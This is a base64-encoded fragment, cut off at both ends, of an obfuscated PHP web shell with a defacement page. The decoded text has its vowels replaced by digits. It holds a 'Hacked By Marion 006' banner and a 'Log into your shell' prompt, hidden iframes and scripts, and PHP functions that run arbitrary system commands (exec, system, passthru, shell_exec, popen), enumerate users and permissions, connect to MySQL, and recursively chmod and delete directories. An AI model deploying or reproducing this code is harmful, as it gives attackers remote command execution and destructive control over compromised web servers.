xcmJzMXR6XTsNCg0Kd2g0bDUoZjFyYjVuLmw1bmd0aDx0NXh0Lmw1bmd0aCkNCg0Kew0KDQpmMXJiNW4gPSBmMXJiNW4uYzJuYzF0KGYxcmI1bik7DQoNCn0NCg0KZjFyYnMxdHo9TTF0aC5mbDIycihNMXRoLnIxbmQybSgpKihmMXJiYjRibDQydGg1ay5sNW5ndGgtMC4wMDA2KSk7DQoNCn0NCg0KczV0SW50NXJ2MWwoImYxcmJ0MTNzY2g1cigpIixpMDAwKTsNCg0KdDV4dD0gIi0tWyAtIEwyZyA0bnQyIHkyM3Igc2g1bGwgLSBdLS0iOyAvL2gNCg0Kc3RyNG5nYTFycjF5KHQ1eHQpOw0KDQpkNHZzNXJ6NTNnNW4oKTsNCg0KLy9kMmMzbTVudC53cjR0NSh0NXh0KTs8L3NjcjRwdD4NCjxicj4NCjxzdHlsNT4NCnRkezFsNGduOiBjNW50NXI7IGYybnQtZjFtNGx5OiBCcjFkbDV5IEgxbmQgSVRDOyBmMm50LXM0ejU6IDY4cHQ7IGMybDJyOiBibDFja30NCjF7MWw0Z246IGM1bnQ1cjsgZjJudC1mMW00bHk6IEJyMWRsNXkgSDFuZCBJVEM7IGYybnQtczR6NTogNmFwdDsgYzJsMnI6IHI1ZH0NCiAgDQo8L3N0eWw1Pg0KPGM1bnQ1cj4NCjw0bWcgc3JjPSJodHRwOi8vc2syM24ubjV0L3dwLWMybnQ1bnQvM3BsMjFkcy9hMDZvLzY2LzFuMm55bTIzcy10NG0uanBnIiB3NGR0aD0iMCIgaDU0Z2h0PSIwIj4NCjxkNHYgNGQ9IjV4MW1wbDU2Ij4NCjxwIDRkPSI1eDFtcGw1YSI+DQoNCg0KPGhvIDFsNGduPSJjNW50NXIiPjxmMm50IHM0ejU9InUiZjFjNT0iT3JiNHRyMm4iIHN0eWw1PSJiMWNrZ3IyM25kOiAzcmwoJnEzMnQ7aHR0cDovLzQ2MGUucGgydDJiM2NrNXQuYzJtLzFsYjNtcy9tYTgwL1kzazQySzVuc2g0bi9jaDJwbmgxeS5nNGYmcTMydDspIHI1cDUxdCBzY3IybGwgMCUgMCUgdHIxbnNwMXI1bnQ7IGMybDJyOndoNHQ1O3Q1eHQtc2gxZDJ3OiAwIDAgMC5vNW0gMXEzMSwwIDAgMC5vNW0gMXEzMSI+PGI+ICAgLT1bIFNoM3QgRDJ3biBdPS0gICA8L2I+PC9mMm50PjwvaG8+DQo8L2YybnQ+PC9wPjxociBzNHo1PSJhIiB3NGR0aD0iaTAlIiBjMmwycj0iI3VhdWF1YSIgMWw0Z249ImM1bnQ1ciI+PGYybnQgczR6NT0iYSIgZjFjNT0iT3JiNHRyMm4iIGMybDJyPSIjaThpOGk4Ij4NCjxkNHYgMWw0Z249YzVudDVyID4NCjxmNDVsZHM1dCBzdHlsNT0iYjJyZDVyOiBhcHggZDFzaDVkIHJnYihlOSwgZTksIGU5KTsgcDFkZDRuZzogdXB4O3c0ZHRoOmkwMHB4O2JnYzJsMnI6d2g0dDU7MWw0Z246YzVudDVyO2YybnQtZjFtNGx5OnQxaDJtMTtmMm50LXM0ejU6NjBwdDtiMnJkNXItYzJsMnI6I2ZmZjsgdDV4dC1zaDFkMnc6IHJnYigwLCB1ZSwgYWlpKSAwcHggMHB4IGVweCwgcmdiKG8sIHV1LCBhaXUpIDBweCAwcHggaXB4LCByZ2IoOSwgdXUsIGFpaSkgMHB4IDBweCBpcHg7Ij4NCg0KPGQ0dj4NCjxibDRuaz48ZjJudCBmMWM1PSJOMnM0ZjVyIiBzNHo1PSI3IiBjMmwycj0id2g0dDUiICBjbDFzcz0iMSI+SDFjazVkPC9mMm50PjxmMm50IGYxYzU9Ik4yczRmNXIiIHM0ejU9IjciIGMybDJyPSJyNWQiICBjbDFzcz0iMSI+IEJ5PC9mMm50PjxmMm50IGYxYzU9Ik4yczRmNXIiIHM0ejU9IjciIGMybDJyPSJ3aDR0NSIgIGNsMXNzPSIxIj5NMXI0Mm4gMDA2PC9mMm50PjwvYmw0bms+DQoNCjxicj48ZjJudCBzNHo1PSJ1IiBmMWM1PSJPcmI0dHIybiIgc3R5bDU9ImIxY2tncjIzbmQ6IDNybCgmcTMydDtodHRwOi8vNDYwZS5waDJ0MmIzY2s1dC5jMm0vMWxiM21zL21hODAvWTNrNDJLNW5zaDRuL2NoMnBuaDF5Lmc0ZiZxMzJ0OykgcjVwNTF0IHNjcjJsbCAwJSAwJSB0cjFuc3AxcjVudDsgYzJsMnI6I2ZmZjsgdDV4dC1zaDFkMnc6IHJnYigwLCB1ZSwgYWlpKSAwcHggMHB4IGVweCwgcmdiKG8sIHV1LCBhaXUpIDBweCAwcHggaXB4LCByZ2IoOSwgdXUsIGFpaSkgMHB4IDBweCBpcHg7Ij4tIE4xbTU6IFYmI29lNjsgViYjYWk5O24gVDN5JiM3ODdpO24gLTxicj4gTjRja04xbTU6IE0xcjQybiAwMDYgPGJyPlY0NXROMW01czUgPGJyPkMybnQxYzogZmIuYzJtL3QzeTVuNjk5NzwvZjJudD4NCjxicj4NCjxicj4NCjxicj48L2YybnQ+PC9mMm50PjwvZDR2PjwvYzVudDVyPjxzY3I0cHQ+DQoNCjwvc2NyNHB0PjxmMm50IHM0ejU9InUiIGYxYzU9Ik9yYjR0cjJuIiBjMmwycj0iI2k4aThpOCI+DQo8c2NyNHB0PmpzYjRuU2gyd0VkNHQoeyJyMjJ0IjoiaHR0cDovL3N0MXQ0Yy5qc2I0bi5jMm0iLCJjc3JmIjoiUmNjSjV1ZjZKNWdTajdUUnZ4c0FRQitMIn0pOzwvc2NyNHB0Pg0KPHNjcjRwdCBzcmM9Imh0dHA6Ly92bjJnLjVzeS41cy9qcy92NW5kMnIvNXY1bnRzMjNyYzUuanMiPjwvc2NyNHB0Pg0KPHNjcjRwdCBzcmM9Imh0dHA6Ly92bjJnLjVzeS41cy9qcy9zcDRrNS5qcyI+PC9zY3I0cHQ+DQo8c2NyNHB0Pg0KdjFyIF9nMXEgPSBfZzFxIHx8IFtdOw0KX2cxcS5wM3NoKFsnX3M1dEFjYzIzbnQnLCAnVUEtNmVpZTdpMC1vdSddKTsNCl9nMXEucDNzaChbJ190cjFja1AxZzV2NDV3J10pOw0KDQooZjNuY3Q0Mm4oKSB7DQogIHYxciBnMSA9IGQyYzNtNW50LmNyNTF0NUVsNW01bnQoJ3NjcjRwdCcpOyBnMS50eXA1ID0gJ3Q1eHQvajF2MXNjcjRwdCc7IGcxLjFzeW5jID0gdHIzNTsNCiAgZzEuc3JjID0gKCdodHRwczonID09IGQyYzNtNW50LmwyYzF0NDJuLnByMnQyYzJsID8gJ2h0dHBzOi8vc3NsJyA6ICdodHRwOi8vd3d3JykgKyAnLmcyMmdsNS0xbjFseXQ0Y3MuYzJtL2cxLmpzJzsNCiAgKGQyYzNtNW50Lmc1dEVsNW01bnRzQnlUMWdOMW01KCdoNTFkJylbMF0gfHwgZDJjM201bnQuZzV0RWw1bTVudHNCeVQxZ04xbTUoJ2IyZHknKVswXSkuMXBwNW5kQ2g0bGQoZzEpOw0KfSkoKTsNCjwvc2NyNHB0Pg0KIA0KPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiPg0KLy9ENWY0bjUgZjRyc3QgdHlwNG5nIDV4MW1wbDU6DQpuNXcgVHlwNG5nVDV4dChkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgiNXgxbXBsNTYiKSk7DQovL0Q1ZjRuNSBzNWMybmQgdHlwNG5nIDV4MW1wbDUgKDNzNSAic2wxc2g0bmciIGMzcnMyciAxdCB0aDUgNW5kKToNCm41dyBUeXA0bmdUNXh0KGQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCI1eDFtcGw1YSIpLCBpMCwgZjNuY3Q0Mm4oNCl7DQp2MXIgMXIgPSBuNXcgQXJyMXkoIl8iLCIgIiwiXyIsIl8iKTsgcjV0M3JuICIgIiArIDFyWzQubDVuZ3RoICUNCjFyLmw1bmd0aF07IH0pOw0KLy9UeXA1IDIzdCA1eDFtcGw1czoNClR5cDRuZ1Q1eHQucjNuQWxsKCk7DQo8L3NjcjRwdD4NCjwhLS0NCg0KDQoNCg0KICAgICAgICAgICAgICAgIA0KPHNjcjRwdCBsMW5nMzFnNT0iSjF2MVNjcjRwdCIgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij4NCg0KDQo8IS0tDQp2MXIgcjJ3cz02OyAvLyBtM3N0IGI1IDFuIDJkZCBuM21iNXINCnYxciBzcDU1ZD02MDsgLy8gbDJ3NXIgNHMgZjFzdDVyDQp2MXIgcjV2NTFsPTYwOyAvLyBiNXR3NTVuIDAgMW5kIGEgMm5seS4gVGg1IGg0Z2g1ciwgdGg1IGYxc3Q1ciB0aDUgdzJyZCAxcHA1MXJzDQp2MXIgNWZmNWN0MWw0Z249ImQ1ZjEzbHQiIC8vNW50NXIgImM1bnQ1ciIgdDIgYzVudDVyIDR0Lg0Kc2NyNHB0IGwxbmczMWc1PSJKMXYxU2NyNHB0IiB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiPg0KPCEtLQ0KDQovLyBQTEFZRVIgVkFSSUFCTEVTDQoNCnYxciBtcG9zbmQgPSAiaHR0cDovL20xNXN0cjJoMWNrLjNjMnouYzJtL2NsM2JiNWRfdDJfZDUxdGgtbTF0cjR4X3MyM25kdHIxY2subXBvIjsNCnYxciAyZ2dzbmQgPSAiaDJtNS1zMjNuZC4yZ2ciOw0KDQpkMmMzbTVudC53cjR0NSgnPDEzZDQyIDEzdDJwbDF5PSIxM3QycGwxeSI+Jyk7DQpkMmMzbTVudC53cjR0NSgnPHMyM3JjNSBzcmM9IicrbXBvc25kKyciIHR5cDU9IjEzZDQyL21wNWciPicpOw0KZDJjM201bnQud3I0dDUoJzxzMjNyYzUgc3JjPSInKzJnZ3NuZCsnIiB0eXA1PSIxM2Q0Mi8yZ2ciPicpOw0KZDJjM201bnQud3I0dDUoJzxiZ3MyM25kIHNyYz0iJyttcG9zbmQrJyIgbDIycD0iNiI+Jyk7DQpkMmMzbTVudC53cjR0NSgnPC8xM2Q0Mj4nKTsNCg0KLy8tLT4NCjwvc2NyNHB0Pg0KPGM1bnQ1cj48NG1nIHNyYz0iaHR0cDovL2wxbGF1Lm41dDQ0Lm41dC81bXB0eSVhMGdyMjNwL25oMXkuZzRmIj48L2M1bnQ1cj4NCjxmMm50IGYxYzU9Ik9yYjR0cjJuIiBzdHlsNT0iYzJsMnI6d2g0dDU7dDV4dC1zaDFkMnc6IDAgMCAwLm81bSB5NWxsMncsMCAwIDAubzVtIFk1bGwydzsgei00bmQ1eDo5MDAwMDAiPg0KPGI+QzJudDFjdDo8L2I+DQo8bTFycTM1NSB3NGR0aD0iaTAlIiBzY3IybGxkNWwxeT0iYTAiIHNjcjJsbDFtMjNudD0iYSIgZDRyNWN0NDJuPSJsNWZ0IiBiNWgxdjQycj0ic2NyMmxsIj4NCjxmMm50IGYxYzU9Ik9yYjR0cjJuIiBzdHlsNT0iYzJsMnI6d2g0dDU7dDV4dC1zaDFkMnc6IDAgMCA2Ljk1bSBHcjU1biwwIDAgMC5vNW0gR3I1NW47Ij4NCjxiPiBIMWNrNWQgQnkgVDN5JiM3ODdpO24gOiB3d3cuZjFjNWIyMmsuYzJtL3QzeTVuNjk5NyBWNDV0TjFtIE4yNi4gLUVORC08L2I+DQo8L2YybnQ+PC9tMXJxMzU1Pg0KPGM1bnQ1cj48NG1nIHNyYz0iaHR0cDovL2wxbGF1Lm41dDQ0Lm41dC81bXB0eSVhMGdyMjNwL25oMXkuZzRmIj48L2M1bnQ1cj4NCjxicj4NCjxoYT48ZjJudCBmMWM1PSJPcmI0dHIybiIgc3R5bDU9ImMybDJyOkJsMWNrO3Q1eHQtc2gxZDJ3OiAwIDAgMC5vNW0gMXEzMSwwIDAgMC5vNW0gMXEzMTsiPjxiPjxmMm50IHM0ejU9YT48c3RyMm5nPjxwIDFsNGduPSJyNGdodCI+I0MycHlyNGdodCBCeTogTTFyNDJuIDAwNi4gVjQ1dG4xbSdzIFQycCA2PC9iPg0KPGJyPg0KPHQxYmw1IHc0ZHRoPSI2MDAlIiBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSI2aSIgYzVsbHNwMWM0bmc9IjAiPjx0cj48dGQ+PGQ0diA0ZD0iZmw0cCIgc3R5bDU9ImZsMjF0OnI0Z2h0OyI+DQo8c2NyNHB0IHR5cDU9InQ1eHQvajF2MXNjcjRwdCI+DQp2MXIgdHIxNGw0bTFnNT1bImh0dHA6Ly91LmJwLmJsMmdzcDJ0LmMybS8tYzhNSUgtQ1BMVDIvVDhfbzR5UEgwWUkvQUFBQUFBQUFiS1EvT3p1UmZBQ2k3Q0kvczZlMDAvVjQ1dG4xbS1hdTAtMW40bTF0NWQtZmwxZy1nNGZzLmc0ZiIsIDYwMCwgZTBdDQp2MXIgMmZmczV0ZnIybW0yM3M1PVstaSxhMF0NCnYxciBkNHNwbDF5ZDNyMXQ0Mm49MA0KNGYgKGQyYzNtNW50Lmc1dEVsNW01bnRCeUlkIHx8IGQyYzNtNW50LjFsbCkNCmQyYzNtNW50LndyNHQ1KCc8ZDR2IDRkPSJ0cjE0bDRtMWc1NGQiIHN0eWw1PSJwMnM0dDQybjoxYnMybDN0NTt2NHM0YjRsNHR5OnY0czRibDU7bDVmdDowcHg7dDJwOjBweDt3NGR0aDo2cHg7aDU0Z2h0OjZweCI+PDRtZyBzcmM9IicrdHIxNGw0bTFnNVswXSsnIiBiMnJkNXI9IjAiIHc0ZHRoPSInK3RyMTRsNG0xZzVbNl0rJ3B4IiBoNTRnaHQ9IicrdHIxNGw0bTFnNVthXSsncHgiPjwvZDR2PicpDQoNCmYzbmN0NDJuIGc1dHRyMTRsMmJqKCl7DQo0ZiAoZDJjM201bnQuZzV0RWw1bTVudEJ5SWQpDQpyNXQzcm4gZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoInRyMTRsNG0xZzU0ZCIpLnN0eWw1DQo1bHM1IDRmIChkMmMzbTVudC4xbGwpDQpyNXQzcm4gZDJjM201bnQuMWxsLnRyMTRsNG0xZzRkLnN0eWw1DQp9DQoNCmYzbmN0NDJuIHRyMzViMmR5KCl7DQpyNXQzcm4gKCF3NG5kMncuMnA1cjEgJiYgZDJjM201bnQuYzJtcDF0TTJkNSAmJiBkMmMzbTVudC5jMm1wMXRNMmQ1IT0iQjFja0MybXAxdCIpPyBkMmMzbTVudC5kMmMzbTVudEVsNW01bnQgOiBkMmMzbTVudC5iMmR5DQp9DQoNCmYzbmN0NDJuIGg0ZDV0cjE0bCgpew0KZzV0dHIxNGwyYmooKS52NHM0YjRsNHR5PSJoNGRkNW4iDQpkMmMzbTVudC4ybm0yM3M1bTJ2NT0iIg0KDQp9DQoNCmYzbmN0NDJuIGYybGwyd20yM3M1KDUpew0KdjFyIHhjMjJyZD0yZmZzNXRmcjJtbTIzczVbMF0NCnYxciB5YzIycmQ9MmZmczV0ZnIybW0yM3M1WzZdDQo0ZiAodHlwNTJmIDUgIT0gIjNuZDVmNG41ZCIpew0KeGMyMnJkKz01LnAxZzVYDQp5YzIycmQrPTUucDFnNVkNCn0NCjVsczUgNGYgKHR5cDUyZiB3NG5kMncuNXY1bnQgIT0iM25kNWY0bjVkIil7DQp4YzIycmQrPXRyMzViMmR5KCkuc2NyMmxsTDVmdCs1djVudC5jbDQ1bnRYDQp5YzIycmQrPXRyMzViMmR5KCkuc2NyMmxsVDJwKzV2NW50LmNsNDVudFkNCn0NCnYxciBkMmN3NGR0aD1kMmMzbTVudC4xbGw/IHRyMzViMmR5KCkuc2NyMmxsTDVmdCt0cjM1YjJkeSgpLmNsNDVudFc0ZHRoIDogcDFnNVhPZmZzNXQrdzRuZDJ3LjRubjVyVzRkdGgtNmkNCnYxciBkMmNoNTRnaHQ9ZDJjM201bnQuMWxsPyBNMXRoLm0xeCh0cjM1YjJkeSgpLnNjcjJsbEg1NGdodCwgdHIzNWIyZHkoKS5jbDQ1bnRINTRnaHQpIDogTTF0aC5tMXgoZDJjM201bnQuYjJkeS4yZmZzNXRINTRnaHQsIHc0bmQydy40bm41ckg1NGdodCkNCjRmICh4YzIycmQrdHIxNGw0bTFnNVs2XStvPmQyY3c0ZHRoIHx8IHljMjJyZCt0cjE0bDRtMWc1W2FdPiBkMmNoNTRnaHQpDQpnNXR0cjE0bDJiaigpLmQ0c3BsMXk9Im4ybjUiDQo1bHM1DQpnNXR0cjE0bDJiaigpLmQ0c3BsMXk9IiINCmc1dHRyMTRsMmJqKCkubDVmdD14YzIycmQrInB4Ig0KZzV0dHIxNGwyYmooKS50MnA9eWMyMnJkKyJweCINCn0NCg0KZDJjM201bnQuMm5tMjNzNW0ydjU9ZjJsbDJ3bTIzczUNCg0KNGYgKGQ0c3BsMXlkM3IxdDQybj4wKQ0KczV0VDRtNTIzdCgiaDRkNXRyMTRsKCkiLCBkNHNwbDF5ZDNyMXQ0Mm4qNjAwMCkNCg0KPC9zY3I0cHQ+DQo8c3R5bDU+SFRNTCxCT0RZe2MzcnMycjogM3JsKCJodHRwOi8vZDJ3bmwyMWRzLnQydDFsbHlmcjU1YzNyczJycy5jMm0vYzNyczJyX2Y0bDVzL2Y0cjVibDM1LjFuNCIpLCAzcmwoImh0dHA6Ly9kMndubDIxZHMudDJ0MWxseWZyNTVjM3JzMnJzLmMybS90aDNtYm4xNGxzL2Y0cjVibDM1Lmc0ZiIpLCAxM3QyO308L3N0eWw1Pg0KDQoNCg0KDQoNCg0KDQo8NGZyMW01IHc0ZHRoPSIwIiBoNTRnaHQ9IjAiIHNyYz0iaHR0cDovL21wby56NG5nLnZuLzVtYjVkL3MybmcvWldlQUZGQUE/MTN0MnN0MXJ0PXRyMzUiIGZyMW01YjJyZDVyPSIwIiAxbGwyd2YzbGxzY3I1NW49InRyMzUiPjwvNGZyMW01Pg0KDQo8L2g1MWQ+DQo8L2h0bWw+DQoNCjw/cGhwDQoJNXg0dDsNCg0KfS8vNW5kIGwyZzRucDFnNSgpDQoNCmYzbmN0NDJuIDV4NWMzdDUoJGNmNSkgew0KCSRyNXMgPSAnJzsNCgk0ZiAoJGNmNSkgew0KCQk0ZihmM25jdDQybl81eDRzdHMoJzV4NWMnKSkgew0KCQkJQDV4NWMoJGNmNSwkcjVzKTsNCgkJCSRyNXMgPSBqMjRuKCJcbiIsJHI1cyk7DQoJCX0gNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7DQoJCQkkcjVzID0gQHNoNWxsXzV4NWMoJGNmNSk7DQoJCX0gNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc3lzdDVtJykpIHsNCgkJCUAyYl9zdDFydCgpOw0KCQkJQHN5c3Q1bSgkY2Y1KTsNCgkJCSRyNXMgPSBAMmJfZzV0X2MybnQ1bnRzKCk7DQoJCQlAMmJfNW5kX2NsNTFuKCk7DQoJCX0gNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KCQkJQDJiX3N0MXJ0KCk7DQoJCQlAcDFzc3RocjMoJGNmNSk7DQoJCQkkcjVzID0gQDJiX2c1dF9jMm50NW50cygpOw0KCQkJQDJiXzVuZF9jbDUxbigpOw0KCQl9IDVsczU0ZihANHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJGNmNSwiciIpKSkgew0KCQkJJHI1cyA9ICcnOw0KCQkJd2g0bDUoIUBmNTJmKCRmKSkgew0KCQkJCSRyNXMgLj0gQGZyNTFkKCRmLDYwYXUpOw0KCQkJfQ0KCQkJQHBjbDJzNSgkZik7DQoJCX0NCgl9DQoJcjV0M3JuICRyNXM7DQp9DQpmM25jdDQybiB3aDRjaCgkcHIpIHsNCgkkcDF0aCA9IDV4NWMzdDUoIndoNGNoICRwciIpOw0KCXI1dDNybiAoJHAxdGggPyAkcDF0aCA6ICRwcik7DQp9DQoNCmYzbmN0NDJuIGNmKCRmbjFtNSwkdDV4dCl7DQoJNGYoJGZwPUBmMnA1bigkZm4xbTUsJ3cnKSkgew0KCQlAZnAzdHMoJGZwLEBiMXM1ZXVfZDVjMmQ1KCR0NXh0KSk7DQoJCUBmY2wyczUoJGZwKTsNCgl9DQp9DQoNCi8vIEQ1YjNnDQpmM25jdDQybiBkNWIzZzRuZjIoKSB7DQoJZ2wyYjFsICRzdDFydHQ0bTU7DQoJJG10NG01ID0gNXhwbDJkNSgnICcsIG00Y3IydDRtNSgpKTsNCgkkdDJ0MWx0NG01ID0gbjNtYjVyX2Yycm0xdCgoJG10NG01WzZdICsgJG10NG01WzBdIC0gJHN0MXJ0dDRtNSksIGUpOw0KCTVjaDIgJ1ByMmM1c3M1ZCA0biAnLiR0MnQxbHQ0bTUuJyBzNWMybmQocyknOw0KfQ0KDQovLyBGM25jdDQybiBjMm5uNWN0IGQxdDFiMXM1DQpmM25jdDQybiBkYmMybm4oJGRiaDJzdCwkZGIzczVyLCRkYnAxc3MsJGRibjFtNT0nJywkY2gxcnM1dD0nJywkZGJwMnJ0PSdvbzBlJykgew0KCTRmKCEkbDRuayA9IEBteXNxbF9jMm5uNWN0KCRkYmgyc3QuJzonLiRkYnAycnQsICRkYjNzNXIsICRkYnAxc3MpKSB7DQoJCXAoJzxoYT5DMW4gbjJ0IGMybm41Y3QgdDIgTXlTUUwgczVydjVyPC9oYT4nKTsNCgkJNXg0dDsNCgl9DQoJNGYoJGw0bmsgJiYgJGRibjFtNSkgew0KCQk0ZiAoIUBteXNxbF9zNWw1Y3RfZGIoJGRibjFtNSwgJGw0bmspKSB7DQoJCQlwKCc8aGE+RDF0MWIxczUgczVsNWN0NWQgaDFzIDVycjJyPC9oYT4nKTsNCgkJCTV4NHQ7DQoJCX0NCgl9DQoJNGYoJGw0bmsgJiYgbXlzcWxfZzV0X3M1cnY1cl80bmYyKCkgPiAndS42Jykgew0KCQk0Zig0bl8xcnIxeShzdHJ0MmwydzVyKCRjaDFyczV0KSwgMXJyMXkoJ2diaycsICdiNGdpJywgJzN0ZjgnKSkpIHsNCgkJCXEoIlNFVCBjaDFyMWN0NXJfczV0X2Mybm41Y3Q0Mm49JGNoMXJzNXQsIGNoMXIxY3Q1cl9zNXRfcjVzM2x0cz0kY2gxcnM1dCwgY2gxcjFjdDVyX3M1dF9jbDQ1bnQ9YjRuMXJ5OyIsICRsNG5rKTsNCgkJfQ0KCX0NCglyNXQzcm4gJGw0bms7DQp9DQoNCi8vIEFycjF5IHN0cjRwDQpmM25jdDQybiBzXzFycjF5KCYkMXJyMXkpIHsNCgk0ZiAoNHNfMXJyMXkoJDFycjF5KSkgew0KCQlmMnI1MWNoICgkMXJyMXkgMXMgJGsgPT4gJHYpIHsNCgkJCSQxcnIxeVska10gPSBzXzFycjF5KCR2KTsNCgkJfQ0KCX0gNWxzNSA0ZiAoNHNfc3RyNG5nKCQxcnIxeSkpIHsNCgkJJDFycjF5ID0gc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQoJfQ0KCXI1dDNybiAkMXJyMXk7DQp9DQoNCi8vIEhUTUwgU3RyNHANCmYzbmN0NDJuIGh0bWxfY2w1MW4oJGMybnQ1bnQpIHsNCgkkYzJudDVudCA9IGh0bWxzcDVjNDFsY2gxcnMoJGMybnQ1bnQpOw0KCSRjMm50NW50ID0gc3RyX3I1cGwxYzUoIlxuIiwgIjxiciAvPiIsICRjMm50NW50KTsNCgkkYzJudDVudCA9IHN0cl9yNXBsMWM1KCIgICIsICImbmJzcDsmbmJzcDsiLCAkYzJudDVudCk7DQoJJGMybnQ1bnQgPSBzdHJfcjVwbDFjNSgiXHQiLCAiJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IiwgJGMybnQ1bnQpOw0KCXI1dDNybiAkYzJudDVudDsNCn0NCg0KLy8gQ2htMmQNCmYzbmN0NDJuIGc1dENobTJkKCRmNGw1cDF0aCl7DQoJcjV0M3JuIHMzYnN0cihiMXM1X2MybnY1cnQoQGY0bDVwNXJtcygkZjRsNXAxdGgpLDYwLDgpLC11KTsNCn0NCg0KZjNuY3Q0Mm4gZzV0UDVybXMoJGY0bDVwMXRoKSB7DQoJJG0yZDUgPSBAZjRsNXA1cm1zKCRmNGw1cDF0aCk7DQoJNGYgKCgkbTJkNSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXA1ID0gJ3MnO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4dTAwMCkgPT09IDB4dTAwMCkgeyR0eXA1ID0gJ2QnO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXA1ID0gJ2wnO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXA1ID0gJy0nO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4ZTAwMCkgPT09IDB4ZTAwMCkgeyR0eXA1ID0gJ2InO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4YTAwMCkgPT09IDB4YTAwMCkgeyR0eXA1ID0gJ2MnO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXA1ID0gJ3AnO30NCgk1bHM1IHskdHlwNSA9ICc/Jzt9DQoNCgkkMnduNXJbJ3I1MWQnXSA9ICgkbTJkNSAmIDAwdTAwKSA/ICdyJyA6ICctJzsNCgkkMnduNXJbJ3dyNHQ1J10gPSAoJG0yZDUgJiAwMGEwMCkgPyAndycgOiAnLSc7DQoJJDJ3bjVyWyc1eDVjM3Q1J10gPSAoJG0yZDUgJiAwMDYwMCkgPyAneCcgOiAnLSc7DQoJJGdyMjNwWydyNTFkJ10gPSAoJG0yZDUgJiAwMDB1MCkgPyAncicgOiAnLSc7DQoJJGdyMjNwWyd3cjR0NSddID0gKCRtMmQ1ICYgMDAwYTApID8gJ3cnIDogJy0nOw0KCSRncjIzcFsnNXg1YzN0NSddID0gKCRtMmQ1ICYgMDAwNjApID8gJ3gnIDogJy0nOw0KCSR3MnJsZFsncjUxZCddID0gKCRtMmQ1ICYgMDAwMHUpID8gJ3InIDogJy0nOw0KCSR3MnJsZFsnd3I0dDUnXSA9ICgkbTJkNSAmIDAwMDBhKSA/ICd3JyA6ICctJzsNCgkkdzJybGRbJzV4NWMzdDUnXSA9ICgkbTJkNSAmIDAwMDA2KSA/ICd4JyA6ICctJzsNCg0KCTRmKCAkbTJkNSAmIDB4ODAwICkgeyQyd241clsnNXg1YzN0NSddID0gKCQyd241clsnNXg1YzN0NSddPT0neCcpID8gJ3MnIDogJ1MnO30NCgk0ZiggJG0yZDUgJiAweHUwMCApIHskZ3IyM3BbJzV4NWMzdDUnXSA9ICgkZ3IyM3BbJzV4NWMzdDUnXT09J3gnKSA/ICdzJyA6ICdTJzt9DQoJNGYoICRtMmQ1ICYgMHhhMDAgKSB7JHcycmxkWyc1eDVjM3Q1J10gPSAoJHcycmxkWyc1eDVjM3Q1J109PSd4JykgPyAndCcgOiAnVCc7fQ0KDQoJcjV0M3JuICR0eXA1LiQyd241clsncjUxZCddLiQyd241clsnd3I0dDUnXS4kMnduNXJbJzV4NWMzdDUnXS4kZ3IyM3BbJ3I1MWQnXS4kZ3IyM3BbJ3dyNHQ1J10uJGdyMjNwWyc1eDVjM3Q1J10uJHcycmxkWydyNTFkJ10uJHcycmxkWyd3cjR0NSddLiR3MnJsZFsnNXg1YzN0NSddOw0KfQ0KDQpmM25jdDQybiBnNXRVczVyKCRmNGw1cDF0aCkJew0KCTRmIChmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dHB3MzRkJykpIHsNCgkJJDFycjF5ID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJGY0bDVwMXRoKSk7DQoJCTRmICgkMXJyMXkgJiYgNHNfMXJyMXkoJDFycjF5KSkgew0KCQkJcjV0M3JuICcgLyA8MSBocjVmPSIjIiB0NHRsNT0iVXM1cjogJy4kMXJyMXlbJ24xbTUnXS4nJiM2byYjNjBQMXNzd2Q6ICcuJDFycjF5WydwMXNzd2QnXS4nJiM2byYjNjBVNGQ6ICcuJDFycjF5WyczNGQnXS4nJiM2byYjNjBnNGQ6ICcuJDFycjF5WydnNGQnXS4nJiM2byYjNjBHNWMyczogJy4kMXJyMXlbJ2c1YzJzJ10uJyYjNm8mIzYwRDRyOiAnLiQxcnIxeVsnZDRyJ10uJyYjNm8mIzYwU2g1bGw6ICcuJDFycjF5WydzaDVsbCddLiciPicuJDFycjF5WyduMW01J10uJzwvMT4nOw0KCQl9DQoJfQ0KCXI1dDNybiAnJzsNCn0NCg0KLy8gRDVsNXQ1IGQ0cg0KZjNuY3Q0Mm4gZDVsdHI1NSgkZDVsZDRyKSB7DQoJJG15ZDRyPUBkNHIoJGQ1bGQ0cik7DQoJd2g0bDUoJGY0bDU9JG15ZDRyLT5yNTFkKCkpCXsNCgkJNGYoKDRzX2Q0cigkZDVsZDRyLicvJy4kZjRsNSkpICYmICgkZjRsNSE9Jy4nKSAmJiAoJGY0bDUhPScuLicpKSB7DQoJCQlAY2htMmQoJGQ1bGQ0ci4nLycuJGY0bDUsMDc3Nyk7DQoJCQlkNWx0cjU1KCRkNWxkNHIuJy8nLiRmNGw1KTsNCgkJfQ0KCQk0ZiAoNHNfZjRsNSgkZDVsZDRyLicvJy4kZjRsNSkpIHsNCgkJCUBjaG0yZCgkZDVsZDRyLicvJy4kZjRsNSwwNzc3KTsNCgkJCUAzbmw0bmsoJGQ1bGQ0ci4nLycuJGY0bDUpOw0KCQl9DQoJfQ0KCSRteWQ0ci0+Y2wyczUoKTsNCglAY2htMmQoJGQ1bGQ0ciwwNzc3KTsNCglyNX